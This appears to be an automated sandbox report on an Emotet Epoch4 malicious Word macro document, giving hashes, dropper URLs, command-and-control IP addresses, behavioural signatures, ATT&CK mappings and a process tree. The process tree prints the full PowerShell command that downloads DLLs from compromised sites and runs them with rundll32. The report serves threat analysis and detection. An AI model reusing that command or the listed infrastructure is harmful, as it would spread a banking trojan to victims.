emotet | 06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

General

Target

hcnpldfh.docm
Size

140KB
MD5

391dca4cf91ae12aa1b5ac9d0ac3ec41
SHA1

47cfcf587d838f68a8f8df53ea3afae475436992
SHA256

06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
SHA512

de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Extracted

Family

emotet

Botnet

Epoch4

C2

91.200.186.228:443

191.252.196.221:8080

94.177.248.64:443

66.42.55.5:7080

103.8.26.103:8080

185.184.25.237:8080

103.8.26.102:8080

178.79.147.66:8080

58.227.42.236:80

45.118.135.203:7080

103.75.201.2:443

195.154.133.20:443

45.142.114.231:8080

212.237.5.209:443

207.38.84.195:8080

104.251.214.46:8080

212.237.17.99:8080

212.237.56.116:7080

216.158.226.206:443

110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2648	4684	cmd.exe	WINWORD.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 30 IoCs

Processes:

powershell.exerundll32.exe

flow	pid	process
6	3464	powershell.exe
12	3464	powershell.exe
14	3464	powershell.exe
16	3464	powershell.exe
18	3464	powershell.exe
19	3464	powershell.exe
23	3464	powershell.exe
25	3464	powershell.exe
27	3464	powershell.exe
28	3464	powershell.exe
30	3464	powershell.exe
33	3464	powershell.exe
34	3464	powershell.exe
35	3464	powershell.exe
38	3464	powershell.exe
39	3464	powershell.exe
41	3464	powershell.exe
43	3464	powershell.exe
45	3464	powershell.exe
48	3464	powershell.exe
49	564	rundll32.exe
58	564	rundll32.exe
59	564	rundll32.exe
60	564	rundll32.exe
61	564	rundll32.exe
63	564	rundll32.exe
65	564	rundll32.exe
66	564	rundll32.exe
67	564	rundll32.exe
68	564	rundll32.exe

Downloads MZ/PE file
Loads dropped DLL 4 IoCs

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exe

pid process

1744 rundll32.exe
4376 rundll32.exe
208 rundll32.exe
564 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Qmspsbjzisipwes\irrtauralv.mmx rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
1744	rundll32.exe
4376	rundll32.exe
208	rundll32.exe
564	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Qmspsbjzisipwes\irrtauralv.mmx	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4684 WINWORD.EXE
4684 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

3464 powershell.exe
3464 powershell.exe
564 rundll32.exe
564 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3464 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4684 WINWORD.EXE
4684 WINWORD.EXE
4684 WINWORD.EXE
4684 WINWORD.EXE
4684 WINWORD.EXE
4684 WINWORD.EXE
4684 WINWORD.EXE

pid	process
4684	WINWORD.EXE
4684	WINWORD.EXE

pid	process
3464	powershell.exe
3464	powershell.exe
564	rundll32.exe
564	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	3464	powershell.exe

pid	process
4684	WINWORD.EXE
4684	WINWORD.EXE
4684	WINWORD.EXE
4684	WINWORD.EXE
4684	WINWORD.EXE
4684	WINWORD.EXE
4684	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 4684 wrote to memory of 2648	4684	WINWORD.EXE	cmd.exe
PID 4684 wrote to memory of 2648	4684	WINWORD.EXE	cmd.exe
PID 2648 wrote to memory of 3464	2648	cmd.exe	powershell.exe
PID 2648 wrote to memory of 3464	2648	cmd.exe	powershell.exe
PID 3464 wrote to memory of 1744	3464	powershell.exe	rundll32.exe
PID 3464 wrote to memory of 1744	3464	powershell.exe	rundll32.exe
PID 3464 wrote to memory of 1744	3464	powershell.exe	rundll32.exe
PID 1744 wrote to memory of 4376	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 4376	1744	rundll32.exe	rundll32.exe
PID 1744 wrote to memory of 4376	1744	rundll32.exe	rundll32.exe
PID 4376 wrote to memory of 208	4376	rundll32.exe	rundll32.exe
PID 4376 wrote to memory of 208	4376	rundll32.exe	rundll32.exe
PID 4376 wrote to memory of 208	4376	rundll32.exe	rundll32.exe
PID 208 wrote to memory of 564	208	rundll32.exe	rundll32.exe
PID 208 wrote to memory of 564	208	rundll32.exe	rundll32.exe
PID 208 wrote to memory of 564	208	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\hcnpldfh.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4684

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3464

C:\Windows\SysWow64\rundll32.exe
"C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\1016556424.dll,f1693273254
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\1016556424.dll",Control_RunDLL
5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4376

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qmspsbjzisipwes\irrtauralv.mmx",qFBbXZKpAC
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:208

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Qmspsbjzisipwes\irrtauralv.mmx",Control_RunDLL
7⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:564

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\1016556424.dll
Filesize
252KB

MD5
03cf2b47f1e3c28f53d18d95aacbe545

SHA1
7ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4

SHA256
338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149

SHA512
736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55

Download Submit
C:\ProgramData\1016556424.dll
Filesize
252KB

MD5
03cf2b47f1e3c28f53d18d95aacbe545

SHA1
7ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4

SHA256
338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149

SHA512
736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55

Download Submit
C:\ProgramData\1016556424.dll
Filesize
252KB

MD5
03cf2b47f1e3c28f53d18d95aacbe545

SHA1
7ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4

SHA256
338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149

SHA512
736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55

Download Submit
C:\Windows\SysWOW64\Qmspsbjzisipwes\irrtauralv.mmx
Filesize
252KB

MD5
03cf2b47f1e3c28f53d18d95aacbe545

SHA1
7ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4

SHA256
338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149

SHA512
736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55

Download Submit
C:\Windows\SysWOW64\Qmspsbjzisipwes\irrtauralv.mmx
Filesize
252KB

MD5
03cf2b47f1e3c28f53d18d95aacbe545

SHA1
7ddab9ffa7c1a7f35e4ef64bb4b6a0b5a297c5d4

SHA256
338fee41186fbb5d35a973843ae1a77138bd2102475d81405b64b4c800a7b149

SHA512
736f631ef6f6460b618fa56db2717aac073dd4a36c652f994c28dca1fcaed3d88350c91f29c7500e9063e316f83a27282f2c1ed7f4bb372f2acc82d772a69f55

Download Submit
memory/208-149-0x0000000000000000-mapping.dmp

Download
memory/564-151-0x0000000000000000-mapping.dmp

Download
memory/564-153-0x0000000010000000-0x0000000010028000-memory.dmp

Filesize
160KB

Download
memory/1744-147-0x0000000010000000-0x0000000010028000-memory.dmp

Filesize
160KB

Download
memory/1744-142-0x0000000000000000-mapping.dmp

Download
memory/2648-137-0x0000000000000000-mapping.dmp

Download
memory/3464-139-0x000001E1885C0000-0x000001E1885E2000-memory.dmp

Filesize
136KB

Download
memory/3464-140-0x00007FFE02440000-0x00007FFE02F01000-memory.dmp

Filesize
10.8MB

Download
memory/3464-141-0x000001E1A18D0000-0x000001E1A2076000-memory.dmp

Filesize
7.6MB

Download
memory/3464-138-0x0000000000000000-mapping.dmp

Download
memory/4376-148-0x0000000010000000-0x0000000010028000-memory.dmp

Filesize
160KB

Download
memory/4376-145-0x0000000000000000-mapping.dmp

Download
memory/4684-155-0x00007FFDED470000-0x00007FFDED480000-memory.dmp

Filesize
64KB

Download
memory/4684-158-0x00007FFDED470000-0x00007FFDED480000-memory.dmp

Filesize
64KB

Download
memory/4684-133-0x00007FFDED470000-0x00007FFDED480000-memory.dmp

Filesize
64KB

Download
memory/4684-132-0x00007FFDED470000-0x00007FFDED480000-memory.dmp

Filesize
64KB

Download
memory/4684-130-0x00007FFDED470000-0x00007FFDED480000-memory.dmp

Filesize
64KB

Download
memory/4684-131-0x00007FFDED470000-0x00007FFDED480000-memory.dmp

Filesize
64KB

Download
memory/4684-135-0x00007FFDEADC0000-0x00007FFDEADD0000-memory.dmp

Filesize
64KB

Download
memory/4684-156-0x00007FFDED470000-0x00007FFDED480000-memory.dmp

Filesize
64KB

Download
memory/4684-136-0x00007FFDEADC0000-0x00007FFDEADD0000-memory.dmp

Filesize
64KB

Download
memory/4684-157-0x00007FFDED470000-0x00007FFDED480000-memory.dmp

Filesize
64KB

Download
memory/4684-134-0x00007FFDED470000-0x00007FFDED480000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads